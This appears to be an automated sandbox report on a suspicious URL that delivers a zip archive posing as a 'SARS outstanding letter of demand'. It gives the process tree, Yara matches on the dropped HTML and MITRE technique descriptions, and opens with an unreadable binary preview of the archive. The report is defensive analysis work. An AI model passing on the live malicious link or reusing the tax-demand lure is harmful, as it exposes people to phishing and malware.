Preview:	PK.........Z6U./..RU...D..&...SARS OUTSTANDING LETTER OF DEMAND.html.:Y..Z..e^:.0,v....@....E.e...Mv...b.[-.]}..<.z8.9.yr'3.....O.....-t...^...b...(..R?..UDvf......L. ?`....B.P. .#...xC................xy.t.0X.A.....W..........^.%N]."I...p.3.sG....7.....+....:....J.)"3.........L......\|....\..s&...fj]1....8._..=..,o....$.7b..{........o_.......g.sg.G.......WU.k8.s..=[lh..^.W-O.(.../..I.y....x......}.)rgH..'.r?.z.2........N.l+.K..........9.,.j...._......z?..PO]?....sL..`R..s....k..w...0.<..O`..<.i\D...8......7X.~.d.[...I,.3...C?hnt.........vP.o.L..af..s.'...}#......[..n...a.G.'....Z........D^=..@.g....../....N....e......'N..9..8x q........D./.o...f...Z...g?.\|g.w..nY~../..5..X.y...\|..../......P.S..8.;..D..8....2.C;.G.S...zU_....a.4.........W..V.q.............%?..?.r....F....xr...x.../x../\|.4O...?....,....................).'.....\.....9.!_..?..=.?...^....Id....%2#.......G}.....i>k.>E.....WO.).r..\|...t...z.wV4...@>N.^W...D7.2R...8]9..`..B.

Target ID:	0
Start time:	08:14:15
Start date:	23/09/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: chrome.exePID: 1572, Parent PID: 5928

General

Target ID:	1
Start time:	08:14:17
Start date:	23/09/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: chrome.exePID: 760, Parent PID: 3128

General

Target ID:	2
Start time:	08:14:18
Start date:	23/09/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudfil.es/ly7mR8utBQ5
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: unarchiver.exePID: 2768, Parent PID: 5928

General

Target ID:	12
Start time:	08:14:55
Start date:	23/09/2022
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Imagebase:	0xd60000
File size:	13312 bytes
MD5 hash:	9DE2E060A2985A232D8B96F9EC847A19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Analysis Process: chrome.exePID: 3560, Parent PID: 5928

General

Target ID:	13
Start time:	08:14:57
Start date:	23/09/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3636 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: chrome.exePID: 6268, Parent PID: 5928

General

Target ID:	14
Start time:	08:14:58
Start date:	23/09/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6236 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff614650000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: 7za.exePID: 5912, Parent PID: 2768

General

Target ID:	15
Start time:	08:15:03
Start date:	23/09/2022
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip
Imagebase:	0x830000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: conhost.exePID: 7004, Parent PID: 5912

General

Target ID:	16
Start time:	08:15:04
Start date:	23/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: unarchiver.exePID: 1768, Parent PID: 5928

General

Target ID:	17
Start time:	08:15:33
Start date:	23/09/2022
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Imagebase:	0x620000
File size:	13312 bytes
MD5 hash:	9DE2E060A2985A232D8B96F9EC847A19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Analysis Process: 7za.exePID: 4852, Parent PID: 1768

General

Target ID:	18
Start time:	08:15:34
Start date:	23/09/2022
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\oluilyf2.xu4" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip
Imagebase:	0x830000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: conhost.exePID: 6420, Parent PID: 4852

General

Target ID:	19
Start time:	08:15:36
Start date:	23/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: unarchiver.exePID: 4788, Parent PID: 5928

General

Target ID:	20
Start time:	08:15:51
Start date:	23/09/2022
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip
Imagebase:	0xbb0000
File size:	13312 bytes
MD5 hash:	9DE2E060A2985A232D8B96F9EC847A19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Analysis Process: 7za.exePID: 7164, Parent PID: 4788

General

Target ID:	23
Start time:	08:15:53
Start date:	23/09/2022
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\evppz250.yan" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip
Imagebase:	0x830000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: conhost.exePID: 5772, Parent PID: 7164

General

Target ID:	24
Start time:	08:15:55
Start date:	23/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Disassembly

⊘No disassembly

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\oluilyf2.xu4\SARS OUTSTANDING LETTER OF DEMAND.html, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\evppz250.yan\SARS OUTSTANDING LETTER OF DEMAND.html, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e\SARS OUTSTANDING LETTER OF DEMAND.html, type: DROPPED

Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-P8KQL93
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://app.hubspot.com/conversations-visitor/20182553/threads/utk/e86f3294fabf4298bfb6731338a898f9?uuid=9cb37ca1f6ae46778bde47f4ac4692ca&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=null&domain=cloudfiles.io&inApp53=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&url=https%3A%2F%2Fcloudfiles.io%2F&inline=false&isFullscreen=false&globalCookieOptOut=null&isFirstVisitorSession=true&isAttachmentDisabled=false&enableWidgetCookieBanner=false&isInCMS=false
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-P8KQL93
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://app.hubspot.com/conversations-visitor/20182553/threads/utk/e86f3294fabf4298bfb6731338a898f9?uuid=9cb37ca1f6ae46778bde47f4ac4692ca&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=null&domain=cloudfiles.io&inApp53=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&url=https%3A%2F%2Fcloudfiles.io%2F&inline=false&isFullscreen=false&globalCookieOptOut=null&isFirstVisitorSession=true&isAttachmentDisabled=false&enableWidgetCookieBanner=false&isInCMS=false
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-P8KQL93
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://www.youtube.com/embed/1rkTwk6PKdY?autoplay=0&mute=0&controls=0&origin=https%3A%2F%2Fcloudfiles.io&playsinline=1&showinfo=0&rel=0&iv_load_policy=3&modestbranding=1&enablejsapi=1&widgetid=1
Source: https://cloudfiles.io/	HTTP Parser: Iframe src: https://app.hubspot.com/conversations-visitor/20182553/threads/utk/e86f3294fabf4298bfb6731338a898f9?uuid=9cb37ca1f6ae46778bde47f4ac4692ca&mobile=false&mobileSafari=false&hideWelcomeMessage=false&hstc=null&domain=cloudfiles.io&inApp53=false&messagesUtk=e86f3294fabf4298bfb6731338a898f9&url=https%3A%2F%2Fcloudfiles.io%2F&inline=false&isFullscreen=false&globalCookieOptOut=null&isFirstVisitorSession=true&isAttachmentDisabled=false&enableWidgetCookieBanner=false&isInCMS=false

Source: https://cloudfiles.io/	HTTP Parser: HTML title missing
Source: https://cloudfiles.io/	HTTP Parser: HTML title missing
Source: https://cloudfiles.io/	HTTP Parser: HTML title missing

Source: https://cloudfiles.io/	HTTP Parser: No <meta name="author".. found
Source: https://cloudfiles.io/	HTTP Parser: No <meta name="author".. found
Source: https://cloudfiles.io/	HTTP Parser: No <meta name="author".. found

Source: https://cloudfiles.io/	HTTP Parser: No <meta name="copyright".. found
Source: https://cloudfiles.io/	HTTP Parser: No <meta name="copyright".. found
Source: https://cloudfiles.io/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 03020B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 030211B7h
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 03020B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 03020B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 03020B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 01210B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 012111B7h
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 01210B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 01210B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 01210B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 054A0B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 054A11B7h
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 054A0B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 054A0B1Ch
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 4x nop then jmp 054A0B1Ch

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Network device logs, Network intrusion detection system, Packet capture, Process use of network, SSL/TLS inspection, Web proxy
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://cloudfil.es/ly7mR8utBQ5

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\evppz250.yan\SARS OUTSTANDING LETTER OF DEMAND.html

C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e\SARS OUTSTANDING LETTER OF DEMAND.html

C:\Users\user\AppData\Local\Temp\oluilyf2.xu4\SARS OUTSTANDING LETTER OF DEMAND.html

C:\Users\user\AppData\Local\Temp\unarchiver.log

C:\Users\user\Downloads\22e8244c-6e16-464c-801c-35bec625d846.tmp

C:\Users\user\Downloads\97f61521-b3dd-4003-bb1c-5ea026c9e45a.tmp

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip (copy)

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip.crdownload

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip (copy)

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip.crdownload

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip (copy)

C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip.crdownload

Static File Info

Network Behavior

Statistics

Behavior

System Behavior

Analysis Process: chrome.exePID: 5928, Parent PID: 3128

General

Analysis Process: chrome.exePID: 1572, Parent PID: 5928

General

Analysis Process: chrome.exePID: 760, Parent PID: 3128

Windows Analysis Report
https://cloudfil.es/ly7mR8utBQ5